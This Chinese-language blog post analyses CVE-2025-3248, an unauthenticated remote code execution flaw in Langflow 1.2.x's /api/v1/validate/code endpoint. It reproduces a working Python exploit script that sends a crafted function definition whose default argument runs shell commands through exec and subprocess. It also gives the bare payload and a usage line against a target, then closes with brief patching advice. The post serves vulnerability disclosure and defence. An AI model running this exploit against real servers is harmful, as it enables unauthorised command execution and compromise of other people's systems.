Langflow 1.2.x远程代码执行漏洞分析与利用

本文详细分析了Langflow 1.2.x版本中存在的远程代码执行漏洞(CVE-2025-3248),该漏洞源于/api/v1/validate/code端点不当使用exec()函数执行任意Python代码,未经认证的攻击者可利用此漏洞执行系统命令。

Langflow 1.2.x远程代码执行漏洞分析

漏洞概述

风险等级: 高
本地利用: 否
远程利用: 是
CVE编号: CVE-2025-3248

漏洞描述

Langflow暴露了一个存在漏洞的端点/api/v1/validate/code,该端点通过exec()函数不当评估任意Python代码。未经认证的远程攻击者可以利用此漏洞执行任意系统命令。

影响版本

  • Langflow <= 1.2.x
  • 测试环境: Ubuntu / Docker

技术细节

漏洞端点

1
/api/v1/validate/code

利用原理

该端点接收包含Python代码的JSON载荷,并直接使用exec()函数执行,导致远程代码执行漏洞。

利用代码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
# Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
# Date: 2025-07-11
# Exploit Author: Raghad Abdallah Al-syouf

import requests
import argparse
import json
from urllib.parse import urljoin

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }
        
        response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
        if response.status_code == 200:
            try:
                json_data = response.json()
                err = json_data.get("function", {}).get("errors", [""])[0]
                if isinstance(err, str) and err.startswith("b'"):
                    output = err[2:-1].encode().decode("unicode_escape").strip()
                    return output or "[!] No output returned."
            except Exception as e:
                return f"[!] Error parsing response: {e}"
        return "[!] Target may not be vulnerable or is patched."

载荷构造

攻击载荷通过构造特殊的Python函数定义,利用exec()函数执行系统命令:

1
def run(cd=exec('raise Exception(__import__("subprocess").check_output("command", shell=True))')): pass

使用方法

1
python3 cve-2025-3248.py http://target:7860 "id"

修复建议

  • 升级到已修复的安全版本
  • 对用户输入进行严格的验证和过滤
  • 避免使用exec()等危险函数执行用户提供的代码
  • 实施适当的身份验证和授权机制

相关链接

该漏洞由于无需认证即可利用,且能够执行任意系统命令,被评定为高风险漏洞。建议所有使用受影响版本的用户立即采取修复措施。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计